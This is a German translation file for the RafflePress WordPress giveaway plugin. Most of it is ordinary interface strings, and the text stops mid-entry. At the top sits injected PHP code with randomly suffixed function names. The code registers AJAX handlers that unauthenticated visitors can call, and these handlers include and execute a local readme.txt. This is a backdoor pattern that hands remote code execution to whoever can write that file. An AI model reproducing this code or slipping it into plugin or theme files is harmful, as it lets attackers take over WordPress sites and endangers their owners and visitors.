if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
# Translation of Plugins - Giveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Giveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2023-01-25 18:00:44+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.0-alpha.7\n" "Language: de\n" "Project-Id-Version: Plugins - Giveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers - Stable (latest release)\n" #: resources/views/backend-translations.php:654 msgid "Secret Key" msgstr "Geheimer Schlüssel" #: resources/views/backend-translations.php:653 msgid "Site Key" msgstr "Website-Schlüssel" #: resources/views/backend-translations.php:650 msgid "Recaptcha" msgstr "reCaptcha" #: app/entry.php:110 msgid "Username: " msgstr "Benutzername:" #: resources/views/backend-translations.php:652 msgid "Enable Invisible Recaptcha" msgstr "Unsichtbares Recaptcha aktivieren" #: resources/views/backend-translations.php:626 msgid "Save" msgstr "Speichern" #: app/functions-utils.php:195 msgid "Polls & Surveys" msgstr "Umfragen und Befragungen" #: app/functions-utils.php:95 msgid "Refer a Friend - Viral" msgstr "Empfehle einen Freund (Viral)" #: app/rafflepress.php:673 app/rafflepress.php:702 msgid "Invalid Image" msgstr "Ungültiges Bild" #: resources/views/backend-translations.php:522 msgid "This will allow user to select more than one answer." msgstr "Dadurch kann der Benutzer mehr als eine Antwort auswählen." #: resources/views/backend-translations.php:521 msgid "Allow Multiple Answers" msgstr "Erlaube mehrere Antworten" #: resources/views/backend-translations.php:519 msgid "Add some choices:" msgstr "Füge einige Auswahlmöglichkeiten hinzu:" #: resources/views/backend-translations.php:520 msgid "Add Choice" msgstr "Auswahlmöglichkeit hinzufügen" #: resources/views/backend-translations.php:198 msgid "Briefly describe what users should do: (HTML is allowed)" msgstr "Beschreibe kurz, was Benutzer tun sollten: (HTML ist zulässig)" #: resources/views/frontend-translations.php:96 msgid "Submit Image" msgstr "Bild absenden" #: app/rafflepress.php:675 msgid "Image too large. Must be under 5MB" msgstr "Das Bild ist zu groß. Muss unter 5 MB sein." #: resources/views/backend-translations.php:518 msgid "Turning this on will automatically add someone to your email list when they sign up for the giveaway." msgstr "Wenn du diese Option aktivierst, wird die Person automatisch zu deiner E-Mail-Liste hinzugefügt, wenn sie sich für das Gewinnspiel anmeldet." #: resources/views/backend-translations.php:517 msgid "Trigger on Sign Up" msgstr "Auslösen bei Anmeldung" #: app/review.php:98 msgid "Not Really" msgstr "Nicht wirklich" #: app/review.php:95 msgid "Are you enjoying RafflePress?" msgstr "Gefällt dir RafflePress?" #: app/review.php:114 msgid "I already did" msgstr "Habe ich schon erledigt" #: app/review.php:113 msgid "Nope, maybe later" msgstr "Nein, vielleicht später" #: app/review.php:112 msgid "Ok, you deserve it" msgstr "Ok, du hast es verdient" #: app/review.php:110 msgid "~ John Turner<br>Co-Founder of RafflePress" msgstr "~ John Turner<br>Mitbegründer von RafflePress" #: app/review.php:109 msgid "That’s awesome! Could you please do me a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?" msgstr "Das ist großartig! Könntest du mir bitte einen GROSSEN Gefallen tun und uns bei WordPress mit 5 Sternen bewerten, um uns zu helfen, bekannter zu werden und unsere Motivation zu steigern?" #: app/review.php:104 msgid "Give Feedback" msgstr "Feedback geben" #: app/review.php:102 msgid "We're sorry to hear you aren't enjoying RafflePress. We would love a chance to improve. Could you take a minute and let us know what we can do better?" msgstr "Wir bedauern, dass dir RafflePress nicht gefällt. Wir würden uns gerne verbessern. Könntest du dir eine Minute Zeit nehmen und uns mitteilen, was wir besser machen können?" #: app/review.php:105 msgid "No thanks" msgstr "Nein, danke" #: resources/views/backend-translations.php:169 msgid "Connect to RafflePress" msgstr "Verbinde zu RafflePress" #: resources/views/backend-translations.php:163 msgid "please enter it to Upgrade to the Pro Features." msgstr "bitte eingeben, um ein Upgrade auf die Pro-Funktionen durchzuführen." #: resources/views/backend-translations.php:515 msgid "This will validate the user's input with this answer. Leave blank to allow the user to enter anything." msgstr "Dadurch wird die Eingabe des Benutzers mit dieser Antwort überprüft. Lasse dieses Feld leer, damit der Benutzer etwas eingeben kann." #: resources/views/backend-translations.php:514 msgid "Validate Answer (optional)" msgstr "Antwort überprüfen (optional)" #: app/entry.php:113 msgid "Signed Up: " msgstr "Registriert: " #: app/functions-utils.php:154 resources/views/backend-translations.php:516 msgid "Automatic Entry" msgstr "Automatischer Eintrag" #: resources/views/frontend-translations.php:95 msgid "Congratulations, you are signed in. Start earning entries by completing the actions below." msgstr "Herzlichen Glückwunsch, du bist angemeldet. Beginne mit dem Sammeln von Punkten, indem du die folgenden Aktionen ausführst." #: resources/views/frontend-translations.php:93 msgid "Please Enter a Valid Email." msgstr "Bitte gib eine gültige E-Mail-Adresse ein." #: resources/views/frontend-translations.php:92 msgid "Please Enter Your Name." msgstr "Bitte gib deinen Namen ein." #: resources/views/frontend-translations.php:91 msgid "Please Enter Your Name and Email." msgstr "Bitte gib deinen Namen und deine E-Mail-Adresse ein." #: resources/views/frontend-translations.php:88 msgid "more points by finishing the entries above." msgstr "weitere Punkte erhalten, indem du die obigen Einträge abschließt." #: resources/views/frontend-translations.php:87 msgid "Earn up to" msgstr "Verdienen bis zu" #: resources/views/frontend-translations.php:94 msgid "Login with" msgstr "Login mit" #: resources/views/backend-translations.php:500 msgid "Description" msgstr "Beschreibung" #: resources/views/frontend-translations.php:78 msgid "Submit" msgstr "Absenden" #: resources/views/backend-translations.php:423 msgid "Allow Logging In with Facebook" msgstr "Anmeldung mit Facebook zulassen" #: resources/views/frontend-translations.php:49 msgid "To start earning entries please log in above." msgstr "Anmelden, um mit dem Sammeln von Einträgen zu beginnen." #: resources/views/backend-translations.php:511 #: resources/views/frontend-translations.php:38 msgid "Days" msgstr "Tage" #: resources/views/backend-translations.php:494 msgid "Days Left" msgstr "Tage übrig" #: resources/views/backend-translations.php:512 #: resources/views/frontend-translations.php:39 msgid "Hours" msgstr "Stunden" #: resources/views/backend-translations.php:495 msgid "Hours Left" msgstr "Stunden übrig" #: resources/views/backend-translations.php:496 #: resources/views/frontend-translations.php:40 msgid "Remaining" msgstr "Verbleibend" #: resources/views/backend-translations.php:498 #: resources/views/frontend-translations.php:41 msgid "Starts In" msgstr "Startet in" #: resources/views/backend-translations.php:71 #: resources/views/frontend-translations.php:42 msgid "Winners" msgstr "Gewinner" #: resources/views/backend-translations.php:53 msgid "Choose Winners Now" msgstr "Wähle jetzt die Gewinner" #: resources/views/backend-translations.php:506 #: resources/views/frontend-translations.php:43 msgid "Use Your Email" msgstr "Nutze deine E-Mail" #: resources/views/frontend-translations.php:45 msgid "per referral" msgstr "pro Verweis" #: resources/views/frontend-translations.php:46 msgid "per day" msgstr "pro Tag" #: resources/views/frontend-translations.php:47 msgid "come back and earn more in" msgstr "komme zurück und sammle mehr in" #: resources/views/backend-translations.php:340 msgid "Show Winners" msgstr "Gewinner anzeigen" #: resources/views/backend-translations.php:95 msgid "See Winners" msgstr "Gewinner ansehen" #: resources/views/backend-translations.php:94 #: resources/views/backend-translations.php:101 msgid "Needs Winners" msgstr "Gewinner benötigt" #: resources/views/frontend-translations.php:55 msgid "I Visited!" msgstr "Habe ich besucht!" #: resources/views/frontend-translations.php:54 msgid "Visit Page" msgstr "Seite besuchen" #: resources/views/frontend-translations.php:53 msgid "To get credit for this entry, visit this page." msgstr "Besuche diese Seite, um einen Punkt für diesen Eintrag zu erhalten." #: resources/views/frontend-translations.php:52 msgid "Join" msgstr "Beitreten" #: resources/views/backend-translations.php:353 msgid "Join our affiliate program" msgstr "Affiliate-Programm beitreten" #: resources/views/backend-translations.php:529 #: resources/views/frontend-translations.php:51 msgid "Yes, Please send me emails." msgstr "Ja, bitte sende mir E-Mails." #: resources/views/frontend-translations.php:50 msgid "Share your unique URL:" msgstr "Teile deine eindeutige URL:" #: resources/views/frontend-translations.php:57 msgid "Like our Page (optional)" msgstr "Teile unsere Seite (optional)" #: resources/views/frontend-translations.php:58 msgid "To get credit for this entry, visit our Facebook page. Likes are welcomed, but not required." msgstr "Besuche unsere Facebook-Seite, um einen Punkt für diesen Eintrag zu erhalten. Likes sind willkommen, aber nicht erforderlich." #: resources/views/frontend-translations.php:59 msgid "To get credit for this entry, Tweet a message." msgstr "Twittere eine Nachricht, um einen Punkt für diesen Eintrag zu erhalten." #: resources/views/frontend-translations.php:60 msgid "Step 1" msgstr "Schritt 1" #: resources/views/backend-translations.php:40 msgid "Want to get started creating your first giveaway with RafflePress? By following the step by step instructions in this walkthrough, you can easily publish your first giveaway on your site." msgstr "Möchtest du mit der Erstellung deines ersten Gewinnspiels mit RafflePress beginnen? Folge den schrittweisen Anweisungen, um deine erste Verlosung zu erstellen." #: resources/views/frontend-translations.php:61 msgid "Step 2" msgstr "Schritt 2" #: resources/views/frontend-translations.php:65 msgid "I Tweeted!" msgstr "Ich habe getwittert!" #: resources/views/frontend-translations.php:63 msgid "What's the url of the tweet?" msgstr "Wie lautet die URL des Tweets?" #: resources/views/backend-translations.php:619 #: resources/views/frontend-translations.php:62 msgid "Tweet" msgstr "Tweet" #: resources/views/frontend-translations.php:67 msgid "Follow" msgstr "Folgen" #: app/functions-utils.php:70 resources/views/backend-translations.php:192 #: resources/views/frontend-translations.php:70 msgid "Visit us on Instagram" msgstr "Besuche uns auf Instagram" #: resources/views/frontend-translations.php:69 msgid "To get credit for this entry, visit our Instagram page. Follows are welcomed, but not required." msgstr "Besuche unsere Instagram-Seite, um einen Punkt für diesen Eintrag zu erhalten. Follows sind willkommen, aber nicht erforderlich." #: resources/views/frontend-translations.php:82 msgid "You have earned" msgstr "Du hast" #: resources/views/frontend-translations.php:79 msgid "Complete" msgstr "Vervollständigen" #: resources/views/frontend-translations.php:73 msgid "What's your Pinterest username?" msgstr "Was ist dein Pinterest-Benutzername?" #: resources/views/backend-translations.php:497 msgid "Prize" msgstr "Preis" #: resources/views/backend-translations.php:502 msgid "Image" msgstr "Bild" #: resources/views/backend-translations.php:504 msgid "Done Editing" msgstr "Bearbeitung abgeschlossen" #: resources/views/backend-translations.php:489 msgid "Heads up!" msgstr "Achtung!" #: resources/views/backend-translations.php:490 msgid "This action can only be used once." msgstr "Diese Aktion kann nur einmal genutzt werden!" #: resources/views/backend-translations.php:482 msgid "Demo" msgstr "Demo" #: resources/views/backend-translations.php:464 msgid "Deleted!" msgstr "Gelöscht!" #: resources/views/backend-translations.php:463 msgid "Yes, delete it!" msgstr "Ja, lösche es!" #: resources/views/backend-translations.php:465 msgid "Choose Image" msgstr "Bild auswählen" #: resources/views/backend-translations.php:461 msgid "Timezone" msgstr "Zeitzone" #: resources/views/backend-translations.php:462 msgid "Are you sure you want to delete?" msgstr "Bist du sicher, dass du das löschen möchtest?" #: resources/views/backend-translations.php:435 msgid "Layout" msgstr "Layout" #: resources/views/backend-translations.php:434 msgid "Design Options" msgstr "Design-Optionen" #: resources/views/backend-translations.php:439 msgid "Button Color" msgstr "Button-Farbe" #: resources/views/backend-translations.php:441 msgid "Page Background" msgstr "Seitenhintergrund" #: resources/views/backend-translations.php:443 msgid "Page Background Color" msgstr "Hintergrundfarbe der Seite" #: resources/views/backend-translations.php:445 msgid "Background Image" msgstr "Hintergrundbild" #: resources/views/backend-translations.php:426 msgid "Design" msgstr "Design" #: resources/views/backend-translations.php:425 msgid "Actions" msgstr "Aktionen" #: resources/views/backend-translations.php:323 msgid "Subject" msgstr "Betreff" #: resources/views/backend-translations.php:322 msgid "From Name" msgstr "Name des Absenders" #: resources/views/backend-translations.php:321 msgid "From Email" msgstr "E-Mail-Adresse des Absenders" #: resources/views/backend-translations.php:311 msgid "View Page" msgstr "Seite anzeigen" #: resources/views/backend-translations.php:312 msgid "Click here" msgstr "Hier klicken" #: resources/views/backend-translations.php:273 msgid "page" msgstr "Seite" #: resources/views/backend-translations.php:272 msgid "post" msgstr "Beitrag" #: resources/views/backend-translations.php:271 msgid "Create a new" msgstr "Erstelle eine neue" #: resources/views/backend-translations.php:256 msgid "WordPress Shortcode" msgstr "WordPress-Shortcode" #: app/functions-utils.php:105 resources/views/backend-translations.php:241 msgid "Watch a Video" msgstr "Ein Video ansehen" #: resources/views/backend-translations.php:240 msgid "Facebook Page URL" msgstr "URL der Facebook-Seite" #: resources/views/backend-translations.php:228 msgid "Share Message" msgstr "Nachricht teilen" #: resources/views/backend-translations.php:220 msgid "Share Image" msgstr "Bild teilen" #: resources/views/backend-translations.php:219 msgid "Share Text" msgstr "Text teilen" #: resources/views/backend-translations.php:213 msgid "Question" msgstr "Frage" #: resources/views/backend-translations.php:207 msgid "Please goto the" msgstr "Bitte gehe zu" #: resources/views/backend-translations.php:193 msgid "Instagram URL" msgstr "Instagram-URL" #: app/contestant.php:120 resources/views/backend-translations.php:188 msgid "No" msgstr "Nein" #: app/contestant.php:118 app/review.php:97 #: resources/views/backend-translations.php:187 msgid "Yes" msgstr "Ja" #: resources/views/backend-translations.php:183 msgid "Value" msgstr "Wert" #: resources/views/backend-translations.php:181 msgid "Title" msgstr "Titel" #: resources/views/backend-translations.php:179 msgid "Read the Full Guide" msgstr "Die vollständige Anleitung lesen" #: resources/views/backend-translations.php:171 msgid "license" msgstr "Lizenz" #: resources/views/backend-translations.php:164 msgid "License Key" msgstr "Lizenzschlüssel" #: resources/views/backend-translations.php:144 msgid "License" msgstr "Lizenz" #: resources/views/backend-translations.php:142 msgid "Saved!" msgstr "Gespeichert!" #: resources/views/backend-translations.php:141 msgid "Save Settings" msgstr "Einstellungen speichern" #: resources/views/backend-translations.php:134 msgid "Integrations" msgstr "Integrationen" #: resources/views/backend-translations.php:133 msgid "Emails" msgstr "E-Mails" #: resources/views/backend-translations.php:132 #: resources/views/backend-translations.php:331 #: resources/views/backend-translations.php:429 msgid "General" msgstr "Allgemein" #: resources/views/backend-translations.php:125 #: resources/views/backend-translations.php:424 msgid "Details" msgstr "Details" #: resources/views/backend-translations.php:124 msgid "Action" msgstr "Aktion" #: resources/views/backend-translations.php:112 msgid "Duplicate" msgstr "Duplizieren" #: resources/views/backend-translations.php:111 msgid "Embed" msgstr "Einbetten" #: resources/views/backend-translations.php:110 msgid "Preview" msgstr "Vorschau" #: resources/views/backend-translations.php:109 msgid "Edit" msgstr "Bearbeiten" #: resources/views/backend-translations.php:108 msgid "Status" msgstr "Status" #: resources/views/backend-translations.php:106 msgid "Start Date" msgstr "Start-Datum" #: resources/views/backend-translations.php:105 msgid "Empty Trash" msgstr "Papierkorb leeren" #: resources/views/backend-translations.php:102 msgid "Trash" msgstr "Papierkorb" #: resources/views/backend-translations.php:96 msgid "Start Now" msgstr "Jetzt beginnen" #: resources/views/backend-translations.php:88 msgid "Users Deleted" msgstr "Benutzer wurden gelöscht" #: resources/views/backend-translations.php:86 msgid "Are you sure?" msgstr "Bist du dir sicher?" #: resources/views/backend-translations.php:78 msgid "Created" msgstr "Erstellt" #: resources/views/backend-translations.php:77 msgid "Entries" msgstr "Einträge" #: resources/views/backend-translations.php:76 #: resources/views/backend-translations.php:510 #: resources/views/frontend-translations.php:89 msgid "Name" msgstr "Name" #: resources/views/backend-translations.php:75 #: resources/views/frontend-translations.php:90 msgid "Email" msgstr "E-Mail" #: resources/views/backend-translations.php:70 msgid "Invalid" msgstr "Ungültig" #: resources/views/backend-translations.php:67 msgid "All" msgstr "Alle" #: resources/views/backend-translations.php:55 msgid "Loading" msgstr "Wird geladen" #: resources/views/backend-translations.php:47 msgid "Users" msgstr "Benutzer" #: resources/views/backend-translations.php:38 msgid "Activate" msgstr "Aktivieren" #: resources/views/backend-translations.php:37 msgid "Deactivate" msgstr "Deaktivieren" #: resources/views/backend-translations.php:36 msgid "Install" msgstr "Installieren" #: app/gblock.php:124 resources/views/rafflepress-giveaway.php:766 msgid "Live Preview" msgstr "Live-Vorschau" #: app/rafflepress.php:552 msgid "Something appears to be wrong. Make sure you have entered your Twitter Username" msgstr "Irgendwas scheint nicht zu stimmen. Stelle sicher, dass du deinen Twitter-Benutzernamen eingegeben hast." #: app/rafflepress.php:546 msgid "It appears you are not following the Twitter User. Click the Twitter Follow Button and then Follow the User." msgstr "Scheinbar folgst du dem Twitter-Benutzer nicht. Klicke auf den Twitter-Folgen-Button und dann folge dem Benutzer." #: app/rafflepress.php:528 msgid "Something appears to be wrong. Make sure you have entered your Twitter Username and that it is not the username of the Twitter account to Follow." msgstr "Irgendwas scheint nicht zu stimmen. Stelle sicher, dass du deinen Twitter-Benutzernamen eingegeben hast und dass es sich nicht um den Benutzernamen des zu verfolgenden Twitter-Kontos handelt." #: app/giveaway.php:907 app/giveaway.php:922 msgid "Sorry the Page Permalink you assigned already exists. Please Choose a New Page Permalink under Settings > General" msgstr "Entschuldigung, der verwendete Seiten-Permalink existiert bereits. Bitte wähle einen neuen Seiten-Permalink unter Einstellungen > Allgemein" #: app/giveaway.php:72 app/giveaway.php:74 msgid "New Giveaway" msgstr "Neues Gewinnspiel" #: resources/views/frontend-translations.php:86 msgid "entry for anyone that enters via this link." msgstr "Punkt für jeden, der über diesen Link teilnimmt." #: resources/views/frontend-translations.php:85 msgid "entries for anyone that enters via this link." msgstr "Punkte für jeden, der über diesen Link teilnimmt." #: resources/views/frontend-translations.php:84 msgid "Get an extra" msgstr "Erhalte ein Extra" #: resources/views/frontend-translations.php:77 msgid "To get credit for this entry, select an answer below." msgstr "Um einen Punkt für diesen Eintrag zu erhalten, wähle unten eine Antwort aus." #: resources/views/frontend-translations.php:76 msgid "To get credit for this entry, answer the question below." msgstr "Um einen Punkt für diesen Eintrag zu erhalten, beantworte die Frage darunter." #: resources/views/frontend-translations.php:75 msgid "Visit Channel" msgstr "Besuche den Kanal" #: resources/views/frontend-translations.php:74 msgid "To get credit for this entry, visit our YouTube channel." msgstr "Erhalte Punkte für diesen Eintrag, indem du unseren YouTube-Kanal besuchst." #: resources/views/frontend-translations.php:56 msgid "Get Entry!" msgstr "Hole dir den Punkt!" #: resources/views/backend-translations.php:509 #: resources/views/frontend-translations.php:81 msgid "Not Using RafflePress Yet?" msgstr "Verwendest du RafflePress noch nicht?" #: resources/views/backend-translations.php:503 msgid "Add an image for your prize. Recommended min wide: 480px" msgstr "Füge ein Bild für deinen Preis hinzu. Empfohlene Mindestbreite: 480 px" #: resources/views/backend-translations.php:501 msgid "Add a description for your pize. HTML allowed." msgstr "Füge eine Beschreibung für dein Bild hinzu. HTML ist erlaubt." #: resources/views/backend-translations.php:499 #: resources/views/backend-translations.php:513 msgid "Add a Title for your Prize." msgstr "Füge einen Titel für deinen Preis hinzu." #: resources/views/backend-translations.php:488 msgid "Changing templates on an existing giveaway will DELETE existing actions. Are you sure you want apply the new template?" msgstr "Das Ändern des Templates in einem bestehenden Gewinnspiel LÖSCHT angelegte Aktionen. Möchtest du wirklich das Template wechseln?" #: resources/views/backend-translations.php:487 msgid "Yes, replace current actions!" msgstr "Ja, vorhandene Aktionen ersetzten!" #: resources/views/backend-translations.php:486 msgid "Enter a Giveaway Name and select a Type to get started." msgstr "Gib einen Gewinnspiel-Namen ein und wähle einen Typ aus, um zu beginnen." #: resources/views/backend-translations.php:485 msgid "Enter a Giveaway Name." msgstr "Gib einen Gewinnspiel-Namen ein." #: resources/views/backend-translations.php:484 msgid "Enter a Giveaway Name to get started." msgstr "Gib einen Gewinnspiel-Namen ein, um zu beginnen." #: resources/views/backend-translations.php:481 msgid "Use this Template" msgstr "Benutze dieses Template" #: resources/views/backend-translations.php:480 msgid "Selected" msgstr "Ausgewählt" #: resources/views/backend-translations.php:473 msgid "Ex. iPad Giveaway" msgstr "Z. B. iPad Verlosung" #: resources/views/backend-translations.php:471 msgid "Refer a Friend Entry has already been added." msgstr "Der Punkt „Empfehle einen Freund“ wurde bereits hinzugefügt." #: resources/views/backend-translations.php:470 msgid "Get More Traffic" msgstr "Erhalte mehr Traffic" #: resources/views/backend-translations.php:469 msgid "Get More Social Engagement" msgstr "Erhalte mehr soziale Beteiligung" #: resources/views/backend-translations.php:468 msgid "Get More Subscribers" msgstr "Erhalte mehr Abonnenten" #: resources/views/backend-translations.php:467 msgid "Entry Options" msgstr "Eintrags-Optionen" #: resources/views/backend-translations.php:460 msgid "Giveaway Ends on..." msgstr "Gewinnspiel endet am …" #: resources/views/backend-translations.php:458 msgid "Giveaway Starts on..." msgstr "Gewinnspiel beginnt am …" #: resources/views/backend-translations.php:457 msgid "Start and End Time" msgstr "Start- und Endzeit" #: resources/views/backend-translations.php:456 msgid "Add Another Prize" msgstr "Einen weiteren Preis hinzufügen" #: resources/views/backend-translations.php:455 msgid "Giveaway Prize Details" msgstr "Gewinnspiel-Preis Details" #: resources/views/backend-translations.php:454 msgid "Enter your own custom css to tweak the giveaway's design." msgstr "Gib dein individuelles CSS ein, um das Design des Gewinnspiels zu verändern." #: resources/views/backend-translations.php:446 msgid "Upload a custom background image." msgstr "Lade ein individuelles Hintergrundbild hoch." #: resources/views/backend-translations.php:444 msgid "Choose a background color or enter your own customer color." msgstr "Wähle eine Hintergrundfarbe oder gib eine individuelle Farbe ein." #: resources/views/backend-translations.php:442 msgid "(Only applicable to stand alone pages.)" msgstr "(Gilt nur für eigenständige Seiten.)" #: resources/views/backend-translations.php:440 msgid "Choose a color or enter your own custom color." msgstr "Wähle eine Farbe oder gib eine individuelle Farbe ein." #: resources/views/backend-translations.php:438 msgid "Choose from our beautiful high converting font pairing." msgstr "Wähle aus unseren wunderschönen hoch-konvertierenden Schriftpaaren." #: resources/views/backend-translations.php:436 msgid "Choose a layout for your Giveaway." msgstr "Wähle ein Layout für dein Gewinnspiel." #: resources/views/backend-translations.php:428 msgid "Changes not saved, are you sure you want to leave?" msgstr "Änderungen wurden nicht gespeichert. Möchtest du die Seite wirklich verlassen?" #: resources/views/backend-translations.php:418 msgid "" "Allows visitors to sign up for your giveaway using their social\n" " media accounts." msgstr "Ermöglicht Besuchern, sich mit ihren sozialen Netzwerken für das Gewinnspiel anzumelden." #: resources/views/backend-translations.php:411 msgid "These scripts will be fired when someone enters the giveaway." msgstr "Diese Skripte werden ausgelöst, wenn jemand dem Gewinnspiel betritt." #: resources/views/backend-translations.php:410 msgid "Conversion Scripts" msgstr "Conversion-Skripte" #: resources/views/backend-translations.php:404 msgid "" "This is important if you are using Giveaway Landing pages.\n" " For example you can add your Google Analytics tracking\n" " script here." msgstr "" "Das ist wichtig, falls du die Gewinnspiel Landing-Pages nutzt.\n" " Beispielsweise kannst du hier dein Google Analytics\n" " Tracking-Skript einfügen." #: resources/views/backend-translations.php:403 msgid "These scripts will be fired when the giveaway loads." msgstr "Diese Skripte werden beim Laden des Gewinnspiels ausgelöst." #: resources/views/backend-translations.php:402 msgid "On Load Scripts" msgstr "Skripte beim Laden" #: resources/views/backend-translations.php:401 #: resources/views/backend-translations.php:431 msgid "Success Tracking" msgstr "Erfolgskontrolle" #: resources/views/backend-translations.php:400 msgid "Rules Generated" msgstr "Erstellte Regeln" #: resources/views/backend-translations.php:399 msgid "RafflePress Rules Generator" msgstr "RafflePress Regel-Generator" #: resources/views/backend-translations.php:398 msgid "Eligible Minimum Age" msgstr "Zulässiges Mindestalter" #: resources/views/backend-translations.php:397 msgid "Eligible Locations" msgstr "Erlaubte Standorte" #: resources/views/backend-translations.php:396 msgid "Sponsor Country" msgstr "Land des Sponsors" #: resources/views/backend-translations.php:395 msgid "Sponsor Address" msgstr "Adresse des Sponsors" #: resources/views/backend-translations.php:394 msgid "Sponsor Email" msgstr "E-Mail des Sponsors" #: resources/views/backend-translations.php:393 msgid "Sponsor Name" msgstr "Name des Sponsors" #: resources/views/backend-translations.php:392 msgid "Enter your rules for the giveaway which will be shown at the bottom of the giveaway." msgstr "Gib die Regeln für das Gewinnspiel ein, welche am unteren Rand des Gewinnspiels angezeigt werden." #: resources/views/backend-translations.php:391 msgid "Rules" msgstr "Regeln" #: resources/views/backend-translations.php:383 msgid "to get a head start." msgstr "für einen schnellen Start." #: resources/views/backend-translations.php:382 msgid "Rules Generator Template" msgstr "Regel-Generator-Template" #: resources/views/backend-translations.php:376 msgid "Generate Rules" msgstr "Regeln generieren" #: resources/views/backend-translations.php:375 msgid "Giveaway Rules" msgstr "Gewinnspiel Regeln" #: resources/views/backend-translations.php:373 msgid "Redirect URL" msgstr "Weiterleitungs-URL" #: resources/views/backend-translations.php:372 msgid "Enable Success Redirect" msgstr "Erfolgs-Weiterleitung aktivieren" #: resources/views/backend-translations.php:215 msgid "Refer a Friend" msgstr "Empfehle-einen-Freund" #: resources/views/backend-translations.php:374 msgid "Enter the full url you'd like to redirect the user to when all actions are completed." msgstr "Gib die vollständige URL ein, an die der Benutzer weitergeleitet werden soll, wenn alle Aktionen abgeschlossen sind." #: resources/views/backend-translations.php:359 msgid "Please enter a page permalink to view the landing page." msgstr "Bitte gib einen Seiten-Permalink ein, um die Landing-Page anzuzeigen." #: resources/views/backend-translations.php:352 msgid "Enter your affiliate URL and when a visitor clicks the 'Powered by' credit link your affiliate link will be used." msgstr "Gib deine Partner-URL ein und wenn ein Besucher auf den Link „Powered by“ Link klickt, wird dein Partner-Link verwendet." #: resources/views/backend-translations.php:345 msgid "Toggle the 'RafflePress' credit link on and off for the giveaway." msgstr "Schaltet den „RafflePress“ Partner-Link für das Gewinnspiel ein und aus." #: resources/views/backend-translations.php:344 msgid "RafflePress Link" msgstr "RafflePress Link" #: resources/views/backend-translations.php:343 msgid "Limit to 3 sign ups per IP address." msgstr "Beschränke auf 3 Anmeldungen pro IP-Adresse." #: resources/views/backend-translations.php:342 msgid "Limit sign ups per IP address to help prevent fraud." msgstr "Beschränke die Anmeldungen pro IP-Adresse, um Betrug vorzubeugen." #: resources/views/backend-translations.php:341 msgid "Limit Sign Ups Per IP" msgstr "Beschränke die Anmeldungen pro IP-Adresse." #: resources/views/backend-translations.php:339 msgid "Hide Total Entries" msgstr "Gesamteinträge ausblenden" #: resources/views/backend-translations.php:338 msgid "Toggle sections on and off for the giveaway." msgstr "Ein- und Ausschalten von Abschnitten für das Gewinnspiel." #: resources/views/backend-translations.php:337 msgid "Display Options" msgstr "Anzeigeoptionen" #: resources/views/backend-translations.php:336 msgid "View" msgstr "Anzeigen" #: resources/views/backend-translations.php:335 msgid "Enter a Giveaway name. User will not see the giveaway's name." msgstr "Gib einen Gewinnspiel-Namen ein. Der Name des Gewinnspiels wird dem Benutzer nicht angezeigt." #: resources/views/backend-translations.php:334 msgid "Enter a custom url for landing page. Use all lowercase letters dashes for spaces. " msgstr "Gib eine individuelle URL für die Landing-Page ein. Verwende nur Kleinbuchstaben und Bindestriche für Leerzeichen. " #: resources/views/backend-translations.php:333 msgid "Page Permalink" msgstr "Seiten-Permalink" #: resources/views/backend-translations.php:332 #: resources/views/backend-translations.php:472 msgid "Giveaway Name" msgstr "Gewinnspiel-Name" #: resources/views/backend-translations.php:326 #: resources/views/backend-translations.php:643 msgid "" "The link the contestant must click to\n" " confirm their email." msgstr "" "Der Link, auf den der Teilnehmer klicken muss,\n" " um seine E-Mail zu bestätigen." #: resources/views/backend-translations.php:324 msgid "Confirmation Email Message" msgstr "Bestätigungs-E-Mail-Nachricht" #: resources/views/backend-translations.php:320 msgid "When this option is enabled users will receive an email with a link which allows them to confirm their identity. This will also mark the user as confirmed under the Users page." msgstr "Wenn diese Option aktiviert ist, erhalten die Benutzer eine E-Mail mit einem Link, über den sie ihre Identität bestätigen. Dadurch wird der Benutzer auch auf der Benutzer-Seite als bestätigt markiert." #: resources/views/backend-translations.php:319 msgid "Contestant Must Confirm Their Email" msgstr "Der Teilnehmer muss seine E-Mail bestätigen" #: resources/views/backend-translations.php:318 #: resources/views/backend-translations.php:430 msgid "Email Verification" msgstr "E-Mail-Verifizierung" #: resources/views/backend-translations.php:313 msgid "" "to setup a Page Permalink for your Standalone\n" " Landing Page." msgstr "" "um einen Seiten-Permalink für deine eigenständige\n" " Landing Page einzurichten." #: resources/views/backend-translations.php:306 msgid "" "You can copy and share the following link in\n" " your social media or add it in your site menu." msgstr "" "Du kannst den folgenden Link kopieren und in den sozialen\n" " Netzwerken teilen oder im Seiten-Menü einfügen." #: resources/views/backend-translations.php:305 msgid "Giveaway Landing Page URL" msgstr "Gewinnspiel Landing-Page-URL" #: resources/views/backend-translations.php:362 msgid "" "Contestants will be redirected to the url after completing all\n" " entires." msgstr "" "Die Teilnehmer werden nach Abschluss aller Eingaben zu\n" " dieser URL weitergeleitet." #: resources/views/backend-translations.php:361 #: resources/views/backend-translations.php:432 msgid "Success Redirect" msgstr "Erfolgreiche Weiterleitung" #: resources/views/backend-translations.php:360 msgid "Error. Please contact Support if you continue to experience this issue." msgstr "Fehler. Bitte wende dich an den Support, wenn dieses Problem weiterhin auftritt." #: resources/views/backend-translations.php:294 msgid "" "Search for \"RafflePress\" in block\n" " search." msgstr "" "Suche nach „RafflePress“ im Block\n" " Suche." #: resources/views/backend-translations.php:293 msgid "Click on the (+) icon on the top left." msgstr "Klicke oben links auf das (+) Icon." #: 